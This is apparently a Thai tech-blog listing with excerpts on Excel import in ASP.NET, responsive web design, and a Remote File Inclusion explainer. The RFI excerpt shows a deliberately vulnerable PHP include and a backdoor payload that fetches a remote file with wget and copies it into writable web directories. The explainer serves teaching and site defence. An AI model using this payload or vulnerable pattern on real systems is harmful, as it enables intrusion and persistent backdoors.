เรียนรู้วิธีการ Import ข้อมูลในรูปแบบไฟล์ Excel ในแบบ Single และ Multiple sheet ด้วย ASP.NET (C#)

            “ข้อมูล” นับว่าเป็นส่วนหนึ่งที่มีความสำคัญในการทำงานหรือการแสดงผลข้อมูลของระบบหรือเว็บไซต์ในปัจจุบัน ซึ่งอาจมีที่มาจากการจัดการเองผ่านระบบจัดการข้อมูล (Back office) หรือมีการนำเข้าจากแหล่งอื่นเนื่องจากข้อมูลที่ต้องการบันทึกเข้าสู่ระบบดังกล่าวอาจมีจำนวนมาก ทำให้การป้อนข้อมูลผ่านระบบทีละรายการเป็นไปอย่างลำบากและเกิดความผิดพลาดได้โดยง่าย เช่น ข้อมูลการเงิน ข้อมูลการสั่งซื้อสินค้า เป็นต้น อีกทั้งยังพบว่ามีบางกรณีที่ผู้ใช้มีความต้องการดึงข้อมูลจากฐานข้อมูลและส่งออกมาในรูปแบบไฟล์อื่นๆเพื่อนำไปประมวลผลต่อไปได้โดยง่าย ซึ่งโดยทั่วไปผู้ใช้มักเก็บข้อมูลเหล่านี้ในรูปแบบไฟล์ต่างๆ เช่น ไฟล์ Excel หรือ ไฟล์ Access ดังนั้น นักพัฒนาของระบบที่มีความต้องการจัดการข้อมูลในลักษณะนี้จึงจำเป็นที่จะต้องมีความรู้เกี่ยวกับกระบวนการดังกล่าวเพื่อให้ได้ข้อมูลตามรูปแบบที่ผู้ใช้ต้องการ ซึ่งในบทความนี้ ผู้เขียนขอเสนอวิธีการ Import ข้อมูลให้ออกมาในรูปแบบไฟล์ Excel พัฒนาโดยใช้ ASP.NET ด้วย C# เนื่องจากเป็นกรณีความต้องการที่พบบ่อยและสามารถนำข้อมูลจากไฟล์ไปใช้งานต่อได้โดยง่าย ซึ่งจะพูดทั้งในลักษณะแบบ Single sheet และแบบ Multiple sheet เพื่อที่จะช่วยให้ผู้พัฒนาที่มีความสนใจสามารถเห็นภาพการทำงานโดยรวม และสามารถนำไปประยุกต์ใช้กับระบบที่ท่านกำลังพัฒนาอยู่ได้ กรณีนำเข้าข้อมูล(Import) ซึ่งในบทความนี้จะแบ่งเป็น 2 ลักษณะ ดังนี้ การนำเข้าข้อมูลแบบ Single sheet ถือเป็นการนำเข้าในแบบทั่วไป ไม่ซับซ้อนมากนัก ฝั่ง Client <%@ Page Language=”C#” AutoEventWireup=”true” CodeFile=”Excel.aspx.cs” Inherits=”ExcelTest” %> <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”> <html xmlns=”http://www.w3.org/1999/xhtml”> <head runat=”server”> <title></title> </head> <body> <form id=”form1″ runat=”server”> <asp:FileUpload ID=”FileUpload1″ runat=”server” /> <div> <asp:GridView ID=”GridView” runat=”server”> </asp:GridView> <asp:Button ID=”btnImport” runat=”server” onclick=”btnImport_Click” Text=”Import” /> </div> </form> </body> </html> ฝั่งเซิร์ฟเวอร์ protected void btnImport_Click(object sender, EventArgs e) { try { ////เป็นการกำหนดชื่อของไฟล์ที่ต้องการจะบันทึกลงเซิร์ฟเวอร์ ซึ่งมีการระบุพาธรวมทั้งนามสกุลของไฟล์ตามไฟล์ที่รับเข้ามา string fileName =  Path.Combine(Server.MapPath(“~/ImportDocument”), Guid.NewGuid().ToString() + Path.GetExtension(FileUpload1.PostedFile.FileName)); ////บันทึกไฟล์ดังกล่าวลงเซิร์ฟเวอร์ FileUpload1.PostedFile.SaveAs(fileName); string conString = “”; string ext = Path.GetExtension(FileUpload1.PostedFile.FileName); ////เป็นส่วนของเงื่อนไขในการตั้งค่า ConnectionString ในการอ่านไฟล์ Excel ด้วย OleDb ซึ่งจะแยกด้วยนามสกุลของไฟล์ Excel ที่รับมา if (Path.GetExtension(ext) == “.xls”) { conString = “Provider=Microsoft.Jet.OLEDB.4.0;Data Source=” + fileName + “;Extended Properties=\”Excel 8.0;HDR=Yes;IMEX=2\””; } else if (Path.GetExtension(ext) == “.xlsx”) { conString = @”Provider=Microsoft.ACE.OLEDB.12.0;Data Source=” + fileName + “;Extended Properties=’Excel 12.0;HDR=YES;IMEX=1;’;”; } ////เป็นการเปิดการเชื่อมต่อผ่าน OleDb OleDbConnection con = new OleDbConnection(conString); if (con.State == System.Data.ConnectionState.Closed) { con.Open(); } DataTable dtExcelSchema; dtExcelSchema = con.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, null); ////ดึงค่าชื่อของ Worksheet ที่อ่านมาจากไฟล์ Excel ที่รับเข้ามา string SheetName = dtExcelSchema.Rows[0][“TABLE_NAME”].ToString(); ////เขียนคำสั่งในการดึงข้อมูลจาก Worksheet ดังกล่าว ซึ่งลักษณะการทำงานจะคล้ายกับการเขียนคำสั่ง sql command ในการดึงข้อมูลตารางโดยทั่วไป

Read More »

วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10

ในบทความนี้ จะพูดถึงช่องโหว่ที่เรียกว่า Remote File Inclusion หรือ RFI [1] จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 ที่พูดถึง ช่องโหว่ประเภท XSS หรือ Cross-site Scripting ซึ่งอาศัยข้อผิดพลาดของการเขียนโปรแกรม ที่ทำให้ Hacker สามารถแทรก JavaScript ซึ่งจะได้ข้อมูลของ Web Browser และสามารถเปิดโอกาศให้ ผู้ใช้ของระบบ สามารถเขียน JavaScript ลงไปใน Database สร้างความเป็นไปได้ในการขโมย Cookie ID ของ Admin แต่ RFI เป็นช่องโหว่ ที่เกิดจากการเขียนโค๊ด ที่เปิดให้มีการ Include ไฟล์จากภายนอก จาก Internet ได้ ซึ่ง เปิดโอกาศให้ Hacker สามารถทำได้ตั้งแต่ เรียกไฟล์ /etc/passwd มาดูก็ได้ หรือ แม้แต่เอาไฟล์ Backdoor มาวางไว้ เรียกคำสั่งต่างๆได้เลยทีเดียว โปรดพิจารณาตัวอย่างต่อไปนี้ ไฟล์แรก form.html มีรายละเอียดดังนี้ <form method=”get” action=”action.php”>    <select name=”COLOR”>       <option value=”red.inc.php”>red</option>       <option value=”blue.inc.php”>blue</option>    </select>    <input type=”submit”> </form> ให้ผู้ใช้ เลือกสี red หรือ blue แล้วส่งค่าดังกล่าว ผ่านตัวแปร COLOR ไปยัง action.php ผ่านวิธีการ GET ไฟล์ที่สอง action.php มีรายละเอียดดังนี้ <?php    if (isset( $_GET[‘COLOR’] ) ){       include( $_GET[‘COLOR’] );    } ?> โดยหวังว่า จะได้ Include red.inc.php หรือ blue.inc.php ตามที่กำหนดไว้ เช่น http://localhost/rfi/action.php?COLOR=red.inc.php แต่ เป็นช่องโหว่ ที่ทำให้ Hacker สามารถ แทรกโค๊ดอันตรายเข้ามาได้ ผ่านตัวแปร COLOR ได้ หาก Hacker ทราบว่ามีช่องโหว่ ก็อาจจะสร้างไฟล์ Backdoor ชื่อ makeremoteshell.php เพื่อให้แทรกผ่านการ include ผ่านตัวแปร COLOR ดังนี้ <?php $output=shell_exec(”     wget http://localhost/rfi/rfi.txt -O /tmp/rfi.php     find /var/www -user www-data -type d -exec cp /tmp/rfi.php {} \;     find /var/www -name ‘rfi.php’ “); echo nl2br($output); ?> ซึ่ง จะทำงานผ่าน function shell_exec ซึ่งสามารถเรียกคำสั่งของ Shell Script ได้ โดย ไปดึงไฟล์จาก http://localhost/rfi/rfi.txt (สมมุติว่าเป็น Website ของ Hacker ที่จะเอาไฟล์ Backdoor ไปวางไว้) แล้ว เอาไฟล์ดังกล่าว ไปเก็บ /tmp/rfi.php และจากนั้น ก็ค้นหาว่า มี Directory ใดบ้างที่ Web User ชื่อ www-data เขียนได้

Read More »

แนวทางการพัฒนาเว็บแบบ Responsive Web Design

            เนื่องด้วยปัจจุบันความก้าวหน้าทางเทคโนโลยีและการให้บริการอินเตอร์เน็ตความเร็วสูงมีการพัฒนาอย่างต่อเนื่อง จึงส่งผลให้การเข้าถึงข้อมูลข่าวสารเป็นไปได้อย่างรวดเร็วและทั่วถึง ทำให้เหล่าผู้ผลิตรวมถึงนักพัฒนา พร้อมใจกันพัฒนาซอร์ฟแวร์และอุปกรณ์ต่างๆ ให้สามารถใช้งานอินเตอร์เน็ตได้ ไม่ว่าจะเป็นโทรศัพท์ Tablet หรือแม้แต่โทรทัศน์เองก็สามารถใช้งานอินเตอร์เน็ตได้เช่นกัน นั่นหมายความว่าปัจจุบันมีอุปกรณ์มากมายที่สามารถใช้งานอินเตอร์เน็ต ซึ่งมีคุณสมบัติที่แตกต่างกันออกไป เช่น ความกว้าง ความสูง ความละเอียดหน้าจอ และอื่นๆ อีกมากมาย            เมื่อพูดถึงการออกแบบเว็บไซต์เพื่อให้สามารถรองรับการใช้งานกับทุกอุปกรณ์ คนส่วนใหญ่มักมองว่าจำเป็นต้องใช้ต้นทุนในการผลิตที่สูงขึ้น เพื่อใช้ในการออกแบบเว็บไซต์แต่ละเวอร์ชั่นให้รองรับกับการใช้ของอุปกรณ์ที่ มีความลหากหลายได้ ซึ่งความจริงแล้วนั่นอาจเป็นแนวคิดที่ไม่ถูกต้องนัก เพราะ Responsive Web Design คือเทคโนโลยีการออกแบบเว็บไซต์ที่ช่วยให้คุณสามารถสร้างเว็บไซต์ที่รองรับทุกขนาดหน้าจอรวมถึงทุกอุปกรณ์สื่อสารด้วยต้นทุนที่ต่ำกว่า เวลาที่สั้นกว่า และประสิทธิภาพที่สูงกว่าการผลิตเว็บไซต์แยกหลายเวอร์ชั่น โดยในบทความนี้จะพูดถึงแนวคิดและแนวทางการพัฒนา Responsive Web Design แบบเบื้องต้นที่ผู้เขียนได้อ่านและรวบรวมมาให้ผู้ที่สนใจนำไปใช้ประโยชน์ได้ไม่มากก็น้อย Flexible Images ปัญหาที่เกิดขึ้นบ่อยในการออกแบบเว็บไซต์แบบ Responsive Web คือ ปัญหาเกี่ยวกับการแสดงผลรูปภาพบนอุปกรณ์ที่มีขนาดแตกต่างกัน ซึ่งปัจุบันมีเทคนิคมากมายที่ช่วยในการจัดการปัญหาดังกล่าว โดยเทคนิคที่ได้รับความนิยมมากคือนำ CSS มาช่วยในการออกแบบการแสดงผลดังกล่าวเนื่องจากสามารถทำได้ง่าย และไม่ซับซ้อน ดังนี้ img { max-width: 100%; } จากตัวอย่างข้างต้น เป็นการกำหนดขนาดของรูปภาพให้มีความกว้าง 100% แทนการกำหนดขนาดของรูปภาพแบบตายตัว (width: 100px) ทำให้การแสดงผลของรูปภาพจะขึ้นอยู่กับขนาดของหน้าจออุปกรณ์หรือความกว้างของบราวเซอร์แทน ข้อเสีย –         บราวเซอร์ Internet Explorer ยังไม่รองรับ properties ที่ชื่อว่า max-width  แต่สามารถแก้ไขโดยการใช้ properties ที่ชื่อว่า width แทน –          ในบราวเซอร์เวอร์ชั่นเก่าๆ ยังไม่รองรับเทคนิคการทำงานดังกล่าวเช่นกัน ซึ่งสามารถแก้ไขโดยการใช้ JavaScript ช่วยในการทำงานแทนได้ แม้วิธีข้างต้นจะเป็นการแก้ปัญหาการยืดหยุ่นของภาพได้ดีและรวดเร็ว แต่สิ่งที่ไม่ควรมองข้ามคือ ความละเอียดของภาพและเวลาในการโหลดรูปภาพ เนื่องจากในปัจจุบัน นิยมใช้งานเว็บไซต์ผ่านทาง Smartphone หรือ Tablet มากขึ้น การโหลดภาพที่มีขนาดใหญ่และความละเอียดสูงจะทำให้เสียเวลาและใช้พื้นที่โดยไม่จำเป็น Filament Group’s Responsive Images เป็นเทคนิค ที่ไม่เน้นการปรับขนาดของรูปภาพ แต่ใช้วิธีเลือกรูปภาพที่มีขนาดเหมาะสมกับอุปกรณ์มาแสดงแทน ซึ่งช่วยแก้ปัญหาการโหลดรูปภาพที่มีขนาดใหญ่มาแสดงผลในอุปกรณ์ที่มีขนาดเล็ก และลดการใช้พื้นที่โดยไม่จำเป็นได้ โดยการทำงานด้วยเทคนิคดังกล่าวจำเป็นที่จะต้องใช้ไฟล์บางตัว ซึ่งสามารถโหลดได้จาก Github ซึ่งมีขั้นตอนดังนี้ 1) โหลดไฟล์ที่จำเป็นตอนใช้งาน ซึ่งได้แก่  JavaScript, ไฟล์ .htaccess และไฟล์รูปภาพทั้งขนาดเล็กและขนาดใหญ่ 2) ทำการกำหนดคุณสมบติของรูปภาพให้อ้างอิงไปยังไฟล์รูปภาพนั้นๆทั้งขนาดเล็กและขนาดใหญ่ โดยวิธีการอ้างอิงของรูปภาพขนาดเล็กจะต้องอ้างอิงผ่าน attribute  SRC และรูปภาพขนาดใหญ่จะอ้างอิงผ่าน attribute data-fullsrc <img src=”smallRes.jpg” data-fullsrc=”largeRes.jpg”> ซึ่งแท็ก data-fullsrc เป็นแท็กที่เพิ่มเข้ามาใน HTML5 เพื่อใช้ในการโหลดรูปภาพกรณีที่หน้าจอมีความกว้างเกิน 480 pixels จากตัวอย่าง กรณีที่เปิดบนอุปกรณ์ที่มีขนาดความกว้างไม่เกิน 480 จะทำการโหลดภาพ smallRes.jpg ขึ้นมาแสดง แต่ในกรณีที่หน้าจอกว้างเกิน 480 จะทำการโหลดภาพ largeRes.jpg ขึ้นมาแสดง ตัวอย่าง Stop iPhone Simulator Image Resizing ปัจจุบันอุปกรณ์ของค่าย Apple ไม่ว่าจะเป็น IPhone(เวอร์ชั่น 4 ขึ้นไป) หรือ IPad(เวอร์ชั่น 2 ขึ้นไป) ได้นำเทคโนโลยีที่ช่วยในการแสดงผลของหน้าจอได้ดีขึ้นซึ่งมีชื่อเรียกว่า Retina Display ทำให้การแสดงผลของ Responsive Web บนอุปกรณ์ดังกล่าวไม่ได้ขนาดที่เหมาะสมกับที่ได้ทำการออกแบบไว้ ซึ่งมีเทคนิคในการแก้ไขปัญหาดังกล่าวโดยการนำค่า pixels มาเป็นตัวช่วยในการแก้ปัญหา ซึ่งจะขอธิบายในส่วนของเรื่อง pixels ให้ผู้อ่านได้เข้าใจก่อน pixels คือหน่วยที่ใช้วัดค่าความละเอียดของรูปภาพหรือหน้าจออุปกรณ์  pixels แบ่งได้  3 แบบด้วยกัน คือ Physical Pixels, CSS Pixels และ Device Pixels Physical Pixels คือ จำนวน pixels จริงๆ ตาม spec ของ Device นั้นๆ  เช่น iPhone3 เท่ากับ 320×480 ส่วน iPhone4 เท่ากับ 640×960

Read More »